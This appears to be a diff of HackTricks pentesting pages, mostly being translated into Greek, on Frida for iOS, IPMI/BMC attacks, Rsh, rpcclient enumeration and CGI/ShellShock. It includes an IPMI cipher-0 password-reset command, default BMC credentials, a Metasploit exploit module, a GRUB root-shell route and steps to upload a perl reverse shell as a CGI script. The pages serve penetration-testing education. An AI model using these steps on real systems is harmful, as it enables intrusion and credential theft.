Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,17 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
## Installing Frida
**Βήματα για να εγκαταστήσετε το Frida σε συσκευή με Jailbreak:**
**Βήματα για την εγκατάσταση του Frida σε συσκευή με Jailbreak:**
1. Ανοίξτε την εφαρμογή Cydia/Sileo.
2. Μεταβείτε στο Manage -> Sources -> Edit -> Add.
2. Μεταβείτε στο Διαχείριση -> Πηγές -> Επεξεργασία -> Προσθήκη.
3. Εισάγετε "https://build.frida.re" ως URL.
4. Πηγαίνετε στην πρόσφατα προστιθέμενη πηγή Frida.
4. Μεταβείτε στην πρόσφατα προστιθέμενη πηγή Frida.
5. Εγκαταστήστε το πακέτο Frida.
Αν χρησιμοποιείτε **Corellium**, θα χρειαστεί να κατεβάσετε την έκδοση Frida από [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) και να την αποσυμπιέσετε και να την αντιγράψετε στην τοποθεσία dylib που ζητάει το Frida, π.χ.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Αν χρησιμοποιείτε **Corellium**, θα χρειαστεί να κατεβάσετε την έκδοση Frida από [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) και να την αποσυμπιέσετε και να την αντιγράψετε στη θέση dylib που ζητάει το Frida, π.χ.: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
Αφού εγκατασταθεί, μπορείτε να χρησιμοποιήσετε στον υπολογιστή σας την εντολή **`frida-ls-devices`** και να ελέγξετε ότι η συσκευή εμφανίζεται (ο υπολογιστής σας πρέπει να μπορεί να έχει πρόσβαση σε αυτήν).\
Εκτελέστε επίσης **`frida-ps -Uia`** για να ελέγξετε τις τρέχουσες διαδικασίες του τηλεφώνου.
@ -34,7 +40,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
Δείτε αυτήν την ανάρτηση ιστολογίου σχετικά με το πώς να χρησιμοποιήσετε το Frida σε μη jailbroken συσκευές χωρίς patching της εφαρμογής: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
## Frida Client Installation
## Εγκατάσταση Frida Client
Εγκαταστήστε **frida tools**:
```bash
@ -192,12 +198,12 @@ Stalker.flush(); // this is important to get all events
});
```
{% hint style="danger" %}
Αυτό είναι ενδιαφέρον από άποψη αποσφαλμάτωσης, αλλά για fuzzing, το να είστε συνεχώς **`.follow()`** και **`.unfollow()`** είναι πολύ αναποτελεσματικό.
Αυτό είναι ενδιαφέρον από την άποψη της αποσφαλμάτωσης, αλλά για το fuzzing, το να είσαι συνεχώς **`.follow()`** και **`.unfollow()`** είναι πολύ αναποτελεσματικό.
{% endhint %}
## [Fpicker](https://github.com/ttdennis/fpicker)
[**fpicker**](https://github.com/ttdennis/fpicker) είναι μια **σουίτα fuzzing βασισμένη σε Frida** που προσφέρει μια ποικιλία τρόπων fuzzing για fuzzing εντός διαδικασίας, όπως ένας τρόπος AFL++ ή ένας παθητικός τρόπος ιχνηλάτησης. Πρέπει να λειτουργεί σε όλες τις πλατφόρμες που υποστηρίζονται από το Frida.
[**fpicker**](https://github.com/ttdennis/fpicker) είναι μια **σουίτα fuzzing βασισμένη σε Frida** που προσφέρει μια ποικιλία τρόπων fuzzing για fuzzing εντός διαδικασίας, όπως ένας τρόπος AFL++ ή ένας παθητικός τρόπος ιχνηλάτησης. Πρέπει να λειτουργεί σε όλες τις πλατφόρμες που υποστηρίζονται από την Frida.
* [**Εγκατάσταση του fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
```bash
@ -361,6 +367,12 @@ killall -9 logd
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -17,23 +17,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
## Basic Information
### **Overview of IPMI**
**[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** προσφέρει μια τυποποιημένη προσέγγιση για την απομακρυσμένη διαχείριση και παρακολούθηση υπολογιστικών συστημάτων, ανεξάρτητα από το λειτουργικό σύστημα ή την κατάσταση τροφοδοσίας. Αυτή η τεχνολογία επιτρέπει στους διαχειριστές συστημάτων να διαχειρίζονται συστήματα απομακρυσμένα, ακόμη και όταν είναι απενεργοποιημένα ή μη ανταποκρινόμενα, και είναι ιδιαίτερα χρήσιμη για:
- Ρυθμίσεις εκκίνησης πριν από το λειτουργικό σύστημα
- Ρυθμίσεις πριν από την εκκίνηση του λειτουργικού συστήματος
- Διαχείριση απενεργοποίησης
- Ανάκτηση από αποτυχίες συστήματος
Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοσίες, παράλληλα με την παροχή πληροφοριών αποθέματος, την ανασκόπηση καταγραφών υλικού και την αποστολή ειδοποιήσεων μέσω SNMP. Απαραίτητο για τη λειτουργία του είναι μια πηγή τροφοδοσίας και μια σύνδεση LAN.
Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοσίες, καθώς και να παρέχει πληροφορίες αποθέματος, να αναθεωρεί αρχεία υλικού και να στέλνει ειδοποιήσεις μέσω SNMP. Απαραίτητο για τη λειτουργία του είναι μια πηγή ενέργειας και μια σύνδεση LAN.
Από την εισαγωγή του από την Intel το 1998, το IPMI υποστηρίζεται από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ειδικά με την υποστήριξη της έκδοσης 2.0 για σειριακή επικοινωνία μέσω LAN. Τα κύρια στοιχεία περιλαμβάνουν:
- **Baseboard Management Controller (BMC):** Ο κύριος μικροελεγκτής για τις λειτουργίες IPMI.
- **Communication Buses and Interfaces:** Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις.
- **IPMI Memory:** Για την αποθήκευση καταγραφών και δεδομένων.
- **IPMI Memory:** Για την αποθήκευση αρχείων καταγραφής και δεδομένων.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
@ -54,7 +61,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Vulnerabilities
Στον τομέα του IPMI 2.0, μια σημαντική αδυναμία ασφαλείας αποκαλύφθηκε από τον Dan Farmer, εκθέτοντας μια ευπάθεια μέσω του **cipher type 0**. Αυτή η ευπάθεια, που τεκμηριώνεται λεπτομερώς στην [έρευνα του Dan Farmer](http://fish2.com/ipmi/cipherzero.html), επιτρέπει μη εξουσιοδοτημένη πρόσβαση με οποιονδήποτε κωδικό πρόσβασης εφόσον στοχευτεί ένας έγκυρος χρήστης. Αυτή η αδυναμία βρέθηκε σε διάφορους BMCs από κατασκευαστές όπως οι HP, Dell και Supermicro, υποδηλώνοντας ένα ευρέως διαδεδομένο πρόβλημα σε όλες τις υλοποιήσεις IPMI 2.0.
Στον τομέα του IPMI 2.0, μια σημαντική αδυναμία ασφαλείας αποκαλύφθηκε από τον Dan Farmer, εκθέτοντας μια ευπάθεια μέσω του **cipher type 0**. Αυτή η ευπάθεια, που τεκμηριώνεται λεπτομερώς στην [έρευνα του Dan Farmer](http://fish2.com/ipmi/cipherzero.html), επιτρέπει μη εξουσιοδοτημένη πρόσβαση με οποιονδήποτε κωδικό πρόσβασης εφόσον στοχευτεί ένας έγκυρος χρήστης. Αυτή η αδυναμία βρέθηκε σε διάφορους BMCs από κατασκευαστές όπως οι HP, Dell και Supermicro, υποδεικνύοντας ένα ευρέως διαδεδομένο πρόβλημα σε όλες τις υλοποιήσεις IPMI 2.0.
### **IPMI Authentication Bypass via Cipher 0**
@ -83,7 +90,7 @@ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Clear-text Passwords**
Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών από την Supermicro σε τοποθεσίες όπως το `/nv/PSBlock` ή το `/nv/PSStore` εγείρει σημαντικούς προβληματισμούς ασφαλείας:
Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε καθαρό κείμενο εντός των BMC για σκοπούς αυθεντικοποίησης. Η αποθήκευση αυτών των κωδικών πρόσβασης από την Supermicro σε τοποθεσίες όπως το `/nv/PSBlock` ή το `/nv/PSStore` εγείρει σημαντικούς προβληματισμούς ασφαλείας:
```bash
cat /nv/PSBlock
```
@ -99,12 +106,12 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow
- **HP Integrated Lights Out (iLO)** χρησιμοποιεί μια **εργοστασιακά τυχαία 8-χαρακτήρων αλφαριθμητική συμβολοσειρά** ως τον προεπιλεγμένο κωδικό πρόσβασης, επιδεικνύοντας υψηλότερο επίπεδο ασφάλειας.
- Προϊόντα όπως το **Dell's iDRAC, IBM's IMM** και το **Fujitsu's Integrated Remote Management Controller** χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν) και "admin" αντίστοιχα.
- Ομοίως, **Supermicro IPMI (2.0), Oracle/Sun ILOM** και **ASUS iKVM BMC** χρησιμοποιούν επίσης απλά προεπιλεγμένα διαπιστευτήρια, με "ADMIN", "changeme" και "admin" να χρησιμεύουν ως οι κωδικοί πρόσβασης τους.
- Ομοίως, **Supermicro IPMI (2.0), Oracle/Sun ILOM** και **ASUS iKVM BMC** χρησιμοποιούν επίσης απλά προεπιλεγμένα διαπιστευτήρια, με το "ADMIN", "changeme" και "admin" να χρησιμεύουν ως οι κωδικοί πρόσβασης τους.
## Accessing the Host via BMC
Η διαχειριστική πρόσβαση στον Ελεγκτή Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειρισμό του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω του `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαδρομή i2c και το Super I/O chip, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα.
Η διαχειριστική πρόσβαση στον Ελεγκτή Διαχείρισης Βάσης (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του host. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Κλειδιού, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον host σε ένα root shell μέσω GRUB (χρησιμοποιώντας `init=/bin/sh`) είτε εκκινώντας από μια εικονική CD-ROM που έχει οριστεί ως δίσκος διάσωσης. Τέτοιες μέθοδοι επιτρέπουν άμεση χειρισμό του δίσκου του host, συμπεριλαμβανομένης της εισαγωγής backdoors, εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφάλειας. Ωστόσο, αυτό απαιτεί επανεκκίνηση του host, που είναι ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον τρέχοντα host είναι πιο περίπλοκη και ποικίλλει ανάλογα με τη διαμόρφωση του host. Εάν η φυσική ή σειριακή κονσόλα του host παραμένει συνδεδεμένη, μπορεί εύκολα να αναληφθεί μέσω των λειτουργιών KVM ή serial-over-LAN (sol) του BMC μέσω `ipmitool`. Η εξερεύνηση της εκμετάλλευσης κοινών πόρων υλικού, όπως η διαύλου i2c και το Super I/O chip, είναι μια περιοχή που απαιτεί περαιτέρω έρευνα.
## Introducing Backdoors into BMC from the Host
@ -132,13 +139,21 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
<summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,11 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
## Basic Information
Για την αυθεντικοποίηση, χρησιμοποιήθηκαν τα αρχεία **.rhosts** μαζί με το **/etc/hosts.equiv** από το **Rsh**. Η αυθεντικοποίηση εξαρτάτο από τις διευθύνσεις IP και το Σύστημα Ονομάτων Τομέα (DNS). Η ευκολία παραποίησης διευθύνσεων IP, ιδίως στο τοπικό δίκτυο, ήταν μια σημαντική ευπάθεια.
Επιπλέον, ήταν κοινό τα αρχεία **.rhosts** να τοποθετούνται στους καταλόγους των χρηστών, οι οποίοι συχνά βρίσκονταν σε όγκους του Δικτύου Αρχείων (NFS).
Επιπλέον, ήταν κοινό τα αρχεία **.rhosts** να τοποθετούνται στους καταλόγους των χρηστών, οι οποίοι συχνά βρίσκονταν σε όγκους Network File System (NFS).
**Default port**: 514

View file

@ -15,19 +15,25 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
### Overview of Relative Identifiers (RID) and Security Identifiers (SID)
**Relative Identifiers (RID)** και **Security Identifiers (SID)** είναι βασικά στοιχεία στα λειτουργικά συστήματα Windows για την μοναδική αναγνώριση και διαχείριση αντικειμένων, όπως χρήστες και ομάδες, εντός ενός δικτύου.
- **SIDs** λειτουργούν ως μοναδικοί αναγνωριστές για τομείς, διασφαλίζοντας ότι κάθε τομέας είναι διακριτός.
- **SIDs** χρησιμεύουν ως μοναδικοί αναγνωριστές για τομείς, διασφαλίζοντας ότι κάθε τομέας είναι διακριτός.
- **RIDs** προστίθενται στα SIDs για να δημιουργήσουν μοναδικούς αναγνωριστές για αντικείμενα εντός αυτών των τομέων. Αυτή η συνδυαστική προσέγγιση επιτρέπει την ακριβή παρακολούθηση και διαχείριση των δικαιωμάτων και των ελέγχων πρόσβασης των αντικειμένων.
Για παράδειγμα, ένας χρήστης με το όνομα `pepe` μπορεί να έχει έναν μοναδικό αναγνωριστή που συνδυάζει το SID του τομέα με το συγκεκριμένο RID του, που αναπαρίσταται σε μορφές δεκαεξαδικών (`0x457`) και δεκαδικών (`1111`). Αυτό έχει ως αποτέλεσμα έναν πλήρη και μοναδικό αναγνωριστή για τον pepe εντός του τομέα όπως: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
Για παράδειγμα, ένας χρήστης με το όνομα `pepe` μπορεί να έχει έναν μοναδικό αναγνωριστή που συνδυάζει το SID του τομέα με το συγκεκριμένο RID του, που αναπαρίσταται τόσο σε δεκαεξαδική (`0x457`) όσο και σε δεκαδική (`1111`) μορφή. Αυτό έχει ως αποτέλεσμα έναν πλήρη και μοναδικό αναγνωριστή για τον pepe εντός του τομέα όπως: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### **Enumeration with rpcclient**
Το **`rpcclient`** εργαλείο από το Samba χρησιμοποιείται για την αλληλεπίδραση με **RPC endpoints μέσω ονομασμένων σωλήνων**. Παρακάτω είναι οι εντολές που μπορούν να εκδοθούν στις διεπαφές SAMR, LSARPC και LSARPC-DS αφού έχει **δημιουργηθεί μια συνεδρία SMB**, συχνά απαιτώντας διαπιστευτήρια.
Το **`rpcclient`** εργαλείο από το Samba χρησιμοποιείται για την αλληλεπίδραση με **RPC endpoints μέσω ονομασμένων σωλήνων**. Παρακάτω είναι οι εντολές που μπορούν να εκδοθούν στις διεπαφές SAMR, LSARPC και LSARPC-DS αφού έχει **ιδρυθεί μια συνεδρία SMB**, συχνά απαιτώντας διαπιστευτήρια.
#### Server Information
@ -80,22 +86,29 @@ done
| **Command** | **Interface** | **Description** |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| queryuser | SAMR | Retrieve user information |
| querygroup | Retrieve group information | |
| querydominfo | Retrieve domain information | |
| enumdomusers | Enumerate domain users | |
| enumdomgroups | Enumerate domain groups | |
| createdomuser | Create a domain user | |
| deletedomuser | Delete a domain user | |
| lookupnames | LSARPC | Look up usernames to SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) values |
| lookupsids | Look up SIDs to usernames (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | |
| lsaaddacctrights | Add rights to a user account | |
| lsaremoveacctrights | Remove rights from a user account | |
| dsroledominfo | LSARPC-DS | Get primary domain information |
| dsenumdomtrusts | Enumerate trusted domains within an AD forest | |
| queryuser | SAMR | Ανάκτηση πληροφοριών χρήστη |
| querygroup | Ανάκτηση πληροφοριών ομάδας | |
| querydominfo | Ανάκτηση πληροφοριών τομέα | |
| enumdomusers | Καταμέτρηση χρηστών τομέα | |
| enumdomgroups | Καταμέτρηση ομάδων τομέα | |
| createdomuser | Δημιουργία χρήστη τομέα | |
| deletedomuser | Διαγραφή χρήστη τομέα | |
| lookupnames | LSARPC | Αναζήτηση ονομάτων χρηστών σε SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) τιμές |
| lookupsids | Αναζήτηση SIDs σε ονόματα χρηστών (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | |
| lsaaddacctrights | Προσθήκη δικαιωμάτων σε λογαριασμό χρήστη | |
| lsaremoveacctrights | Αφαίρεση δικαιωμάτων από λογαριασμό χρήστη | |
| dsroledominfo | LSARPC-DS | Λάβετε πληροφορίες κύριου τομέα |
| dsenumdomtrusts | Καταμέτρηση αξιόπιστων τομέων εντός ενός AD δάσους | |
To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,26 +1,33 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
# Πληροφορίες
Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **να αλλάξετε την επέκταση** από **.pl** σε **.cgi**, να δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και να **πρόσβαση** στο reverse shell **από τον web browser** για να το εκτελέσετε. Για να δοκιμάσετε για **CGI vulns** συνιστάται να χρησιμοποιήσετε `nikto -C all` \(και όλα τα plugins\)
Τα **CGI scripts είναι perl scripts**, οπότε, αν έχετε παραβιάσει έναν διακομιστή που μπορεί να εκτελεί _**.cgi**_ scripts μπορείτε να **ανεβάσετε ένα perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **να αλλάξετε την επέκταση** από **.pl** σε **.cgi**, να δώσετε **δικαιώματα εκτέλεσης** \(`chmod +x`\) και να **πρόσβαση** στο reverse shell **από τον web browser** για να το εκτελέσετε.
Για να δοκιμάσετε για **CGI vulns** συνιστάται να χρησιμοποιήσετε `nikto -C all` \(και όλα τα plugins\)
# **ShellShock**
**ShellShock** είναι μια **ευπάθεια** που επηρεάζει το ευρέως χρησιμοποιούμενο **Bash** command-line shell σε λειτουργικά συστήματα βασισμένα σε Unix. Στοχεύει στην ικανότητα του Bash να εκτελεί εντολές που περνούν από εφαρμογές. Η ευπάθεια έγκειται στη χειραγώγηση των **μεταβλητών περιβάλλοντος**, οι οποίες είναι δυναμικές ονομαστικές τιμές που επηρεάζουν το πώς εκτελούνται οι διαδικασίες σε έναν υπολογιστή. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσ attaching **κακόβουλο κώδικα** σε μεταβλητές περιβάλλοντος, ο οποίος εκτελείται μόλις ληφθεί η μεταβλητή. Αυτό επιτρέπει στους επιτιθέμενους να παραβιάσουν δυνητικά το σύστημα.
